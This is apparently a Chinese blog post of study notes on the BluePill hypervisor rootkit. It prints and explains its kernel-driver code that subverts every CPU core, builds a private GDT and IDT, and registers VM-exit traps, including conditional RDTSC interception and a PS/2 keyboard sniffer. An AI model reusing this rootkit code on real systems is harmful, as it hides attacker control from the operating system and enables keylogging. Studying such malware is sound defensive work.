学习BluePill源码笔记-4

本文是学习BluePill源码的笔记,重点探讨了HvmSwallowBluepill函数,包括CmDeliverToProcessor的实现和HvmSubvertCpu中的GDT、IDT初始化。此外,还详细介绍了如何通过Hvm->ArchRegisterTraps(Cpu)注册VMEXIT事件处理函数,以实现虚拟机模式的开启和管理。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

2.2 

2.2.1HvmSwallowBluepill函数

NTSTATUS NTAPI HvmSwallowBluepill (
)
{
  CCHAR cProcessorNumber;
  NTSTATUS Status, CallbackStatus;

  _KdPrint (("HvmSwallowBluepill(): Going to subvert %d processor%s\n",
             KeNumberProcessors, KeNumberProcessors == 1 ? "" : "s"));

  KeWaitForSingleObject (&g_HvmMutex, Executive, KernelMode, FALSE, NULL);

  for (cProcessorNumber = 0; cProcessorNumber < KeNumberProcessors; cProcessorNumber++) {

    _KdPrint (("HvmSwallowBluepill(): Subverting processor #%d\n", cProcessorNumber));

    Status = CmDeliverToProcessor (cProcessorNumber, CmSubvert, NULL, &CallbackStatus);

    if (!NT_SUCCESS (Status)) {
      _KdPrint (("HvmSwallowBluepill(): CmDeliverToProcessor() failed with status 0x%08hX\n", Status));
      KeReleaseMutex (&g_HvmMutex, FALSE);

      HvmSpitOutBluepill ();

      return Status;
    }

    if (!NT_SUCCESS (CallbackStatus)) {
      _KdPrint (("HvmSwallowBluepill(): HvmSubvertCpu() failed with status 0x%08hX\n", CallbackStatus));
      KeReleaseMutex (&g_HvmMutex, FALSE);

      HvmSpitOutBluepill ();

      return CallbackStatus;
    }
  }

for (cProcessorNumber = 0; cProcessorNumber < KeNumberProcessors; cProcessorNumber++)开始到结束为该函数的核心。

CmDeliverToProcessor的代码如下:

NTSTATUS NTAPI CmDeliverToProcessor (
  CCHAR cProcessorNumber,
  PCALLBACK_PROC CallbackProc,
  PVOID CallbackParam,
  PNTSTATUS pCallbackStatus
)
{
  NTSTATUS CallbackStatus;
  KIRQL OldIrql;

  if (!CallbackProc)
    return STATUS_INVALID_PARAMETER;

  if (pCallbackStatus)
    *pCallbackStatus = STATUS_UNSUCCESSFUL;

  KeSetSystemAffinityThread ((KAFFINITY) (1 << cProcessorNumber));

  OldIrql = KeRaiseIrqlToDpcLevel ();
  CallbackStatus = CallbackProc (CallbackParam);

  KeLowerIrql (OldIrql);

  KeRevertToUserAffinityThread ();

  // save the status of the callback which has run on the current core
  if (pCallbackStatus)
    *pCallbackStatus = CallbackStatus;

  return STATUS_SUCCESS;
}
CmDeliverToProcessor代码检查参数后,提高当前线程在CPU中的亲和性(目的似乎是为了在执行该指令时不被打断)升高IRQL(只能NonPagedPool),调用HvmSubvertCpu函数。之后,降低IRQL,降低当前线程在CPU中的亲和性。


HvmSubvertCpu()函数:

NTSTATUS NTAPI HvmSubvertCpu (
  PVOID GuestRsp
)
{
  PCPU Cpu;
  PVOID HostKernelStackBase;
  NTSTATUS Status;
  PHYSICAL_ADDRESS HostStackPA;

  _KdPrint (("HvmSubvertCpu(): Running on processor #%d\n", KeGetCurrentProcessorNumber ()));

  if (!Hvm->ArchIsHvmImplemented ()) {
    _KdPrint (("HvmSubvertCpu(): HVM extensions not implemented on this processor\n"));
    return STATUS_NOT_SUPPORTED;
  }

  HostKernelStackBase = MmAllocatePages (HOST_STACK_SIZE_IN_PAGES, &HostStackPA);
  if (!HostKernelStackBase) {
    _KdPrint (("HvmSubvertCpu(): Failed to allocate %d pages for the host stack\n", HOST_STACK_SIZE_IN_PAGES));
    return STATUS_INSUFFICIENT_RESOURCES;
  }

  Cpu = (PCPU) ((PCHAR) HostKernelStackBase + HOST_STACK_SIZE_IN_PAGES * PAGE_SIZE - 8 - sizeof (CPU));
  Cpu->HostStack = HostKernelStackBase;

  // for interrupt handlers which will address CPU through the FS
  Cpu->SelfPointer = Cpu;

  Cpu->ProcessorNumber = KeGetCurrentProcessorNumber ();

  Cpu->Nested = FALSE;

  InitializeListHead (&Cpu->GeneralTrapsList);
  InitializeListHead (&Cpu->MsrTrapsList);
  InitializeListHead (&Cpu->IoTrapsList);

  Cpu->GdtArea = MmAllocatePages (BYTES_TO_PAGES (BP_GDT_LIMIT), NULL);

  if (!Cpu->GdtArea) {
    _KdPrint (("HvmSubvertCpu(): Failed to allocate memory for GDT\n"));
    return STATUS_INSUFFICIENT_RESOURCES;
  }

  Cpu->IdtArea = MmAllocatePages (BYTES_TO_PAGES (BP_IDT_LIMIT), NULL);
  if (!Cpu->IdtArea) {
    _KdPrint (("HvmSubvertCpu(): Failed to allocate memory for IDT\n"));
    return STATUS_INSUFFICIENT_RESOURCES;
  }
  // allocate a 4k page. Fail the init if we can't allocate such page
  // (e.g. all allocations reside on 2mb pages).

  //Cpu->SparePage=MmAllocatePages(1,&Cpu->SparePagePA);
  Cpu->SparePage = MmAllocateContiguousPagesSpecifyCache (1, &Cpu->SparePagePA, MmCached);
  if (!Cpu->SparePage) {
    _KdPrint (("HvmSubvertCpu(): Failed to allocate 1 page for the dummy page (DPA_CONTIGUOUS)\n"));
    return STATUS_UNSUCCESSFUL;
  }
  // this is valid only for host page tables, as this VA may point into 2mb page in the guest.
  Cpu->SparePagePTE = (PULONG64) ((((ULONG64) (Cpu->SparePage) >> 9) & 0x7ffffffff8) + PT_BASE);

#ifdef SVM_SPAREPAGE_NON_CACHED
  *Cpu->SparePagePTE |= (1 << 4);       // set PCD (Cache Disable);
#endif

  Status = Hvm->ArchRegisterTraps (Cpu);
  if (!NT_SUCCESS (Status)) {
    _KdPrint (("HvmSubvertCpu(): Failed to register NewBluePill traps, status 0x%08hX\n", Status));
    return STATUS_UNSUCCESSFUL;
  }

  Status = Hvm->ArchInitialize (Cpu, CmSlipIntoMatrix, GuestRsp);
  if (!NT_SUCCESS (Status)) {
    _KdPrint (("HvmSubvertCpu(): ArchInitialize() failed with status 0x%08hX\n", Status));
    return Status;
  }

  InterlockedIncrement (&g_uSubvertedCPUs);

#if 0
  Cpu->LapicBaseMsr.QuadPart = MsrRead (MSR_IA32_APICBASE);
  if (Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_ENABLE) {
    Cpu->LapicPhysicalBase.QuadPart = Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_BASE;
    Cpu->LapicVirtualBase = (PVOID) Cpu->LapicPhysicalBase.QuadPart;

    // set VA=PA
    MmCreateMapping (Cpu->LapicPhysicalBase, Cpu->LapicVirtualBase, FALSE);

    _KdPrint (("HvmSubvertCpu(): Local APIC Base PA 0x%08hX, mapped to VA 0x%08hX\n", Cpu->LapicPhysicalBase.QuadPart,
               Cpu->LapicVirtualBase));
  } else {
    _KdPrint (("HvmSubvertCpu(): Local APIC is disabled\n"));
  }
#endif

  // no API calls allowed below this point: we have overloaded GDTR and selectors
#ifdef _X86_

#else
  HvmSetupGdt (Cpu);
  HvmSetupIdt (Cpu);
#endif
#if DEBUG_LEVEL>1
  _KdPrint (("HvmSubvertCpu(): RFLAGS = %#x, CR8 = %#x\n", RegGetRflags (), RegGetCr8 ()));
#endif
  Status = Hvm->ArchVirtualize (Cpu);

  // never reached
  InterlockedDecrement (&g_uSubvertedCPUs);
  return Status;
}

该函数首先创建并初始化了一个CPU结构,接着构造了自己的GDT表和IDT表。

最后,该函数侵染CPU核心。侵染过程如下:

  Status = Hvm->ArchRegisterTraps (Cpu);
  Status = Hvm->ArchInitialize (Cpu, CmSlipIntoMatrix, GuestRsp);
  InterlockedIncrement (&g_uSubvertedCPUs);
  Cpu->LapicBaseMsr.QuadPart = MsrRead (MSR_IA32_APICBASE);
  if (Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_ENABLE) {
    Cpu->LapicPhysicalBase.QuadPart = Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_BASE;
    Cpu->LapicVirtualBase = (PVOID) Cpu->LapicPhysicalBase.QuadPart;

    // set VA=PA
    MmCreateMapping (Cpu->LapicPhysicalBase, Cpu->LapicVirtualBase, FALSE);

  }
  Status = Hvm->ArchVirtualize (Cpu);

  // never reached
  InterlockedDecrement (&g_uSubvertedCPUs);
  return Status;
}

2.2.2 侵染核心三个步骤

Hvm->ArchRegisterTraps(Cpu) 注册VMEXIT事件处理函数

Hvm->ArchInitialize(Cpu, CmSlipIntoMatrix, GuestRsp); 开启虚拟机模式成为Hypervisor并构建虚拟机装入原来的操作系统

Hvm->ArchVirtualize(Cpu)开启虚拟机。


2.2.3 Hvm->ArchRegisterTraps(Cpu) 注册VMEXIT事件处理函数

该方法对应的函数实际为(不讨论AMD)位于vmxtraps.c

NTSTATUS NTAPI VmxRegisterTraps (
  PCPU Cpu
)
{
  NTSTATUS Status;
  PNBP_TRAP Trap;
#ifndef VMX_SUPPORT_NESTED_VIRTUALIZATION
  // used to set dummy handler for all VMX intercepts when we compile without nested support
  ULONG32 i, TableOfVmxExits[] = {
    EXIT_REASON_VMCALL,
    EXIT_REASON_VMCALL,
    EXIT_REASON_VMLAUNCH,
    EXIT_REASON_VMRESUME,
    EXIT_REASON_VMPTRLD,
    EXIT_REASON_VMPTRST,
    EXIT_REASON_VMREAD,
    EXIT_REASON_VMWRITE,
    EXIT_REASON_VMXON,
    EXIT_REASON_VMXOFF
  };
#endif

  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_CPUID, 0, // length of the instruction, 0 means length need to be get from vmcs later. 
                                                     VmxDispatchCpuid, &Trap))) {
    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchCpuid with status 0x%08hX\n", Status));
    return Status;
  }
  TrRegisterTrap (Cpu, Trap);

  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_MSR_READ, 0,      // length of the instruction, 0 means length need to be get from vmcs later. 
                                                     VmxDispatchMsrRead, &Trap))) {
    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchMsrRead with status 0x%08hX\n", Status));
    return Status;
  }
  TrRegisterTrap (Cpu, Trap);

  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_MSR_WRITE, 0,     // length of the instruction, 0 means length need to be get from vmcs later. 
                                                     VmxDispatchMsrWrite, &Trap))) {
    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchMsrWrite with status 0x%08hX\n", Status));
    return Status;
  }
  TrRegisterTrap (Cpu, Trap);

  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_CR_ACCESS, 0,     // length of the instruction, 0 means length need to be get from vmcs later. 
                                                     VmxDispatchCrAccess, &Trap))) {
    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchCrAccess with status 0x%08hX\n", Status));
    return Status;
  }
  TrRegisterTrap (Cpu, Trap);

  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_INVD, 0,  // length of the instruction, 0 means length need to be get from vmcs later. 
                                                     VmxDispatchINVD, &Trap))) {
    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchINVD with status 0x%08hX\n", Status));
    return Status;
  }
  TrRegisterTrap (Cpu, Trap);

  // set dummy handler for all VMX intercepts if we compile wihtout nested support
  for (i = 0; i < sizeof (TableOfVmxExits) / sizeof (ULONG32); i++) {
    if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, TableOfVmxExits[i], 0,      // length of the instruction, 0 means length need to be get from vmcs later. 
                                                       VmxDispatchVmxInstrDummy, &Trap))) {
      _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchVmon with status 0x%08hX\n", Status));
      return Status;
    }
    TrRegisterTrap (Cpu, Trap);
  }

#ifdef INTERCEPT_RDTSCs
  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_EXCEPTION_NMI, 0, VmxDispatchException, &Trap))) {
    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchException with status 0x%08hX\n", Status));
    return Status;
  }
  TrRegisterTrap (Cpu, Trap);

  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_RDTSC, 0, VmxDispatchRdtsc, &Trap))) {
    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchRdtsc with status 0x%08hX\n", Status));
    return Status;
  }
  TrRegisterTrap (Cpu, Trap);
#endif
#ifdef VMX_ENABLE_PS2_KBD_SNIFFER
  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_IO_INSTRUCTION, 0,        // length of the instruction, 0 means length need to be get from vmcs later. 
                                                     VmxDispatchIoAccess, &Trap))) {
    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchIoAccess with status 0x%08hX\n", Status));
    return Status;
  }
  TrRegisterTrap (Cpu, Trap);
#endif

  return STATUS_SUCCESS;
}

未完待续。。。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值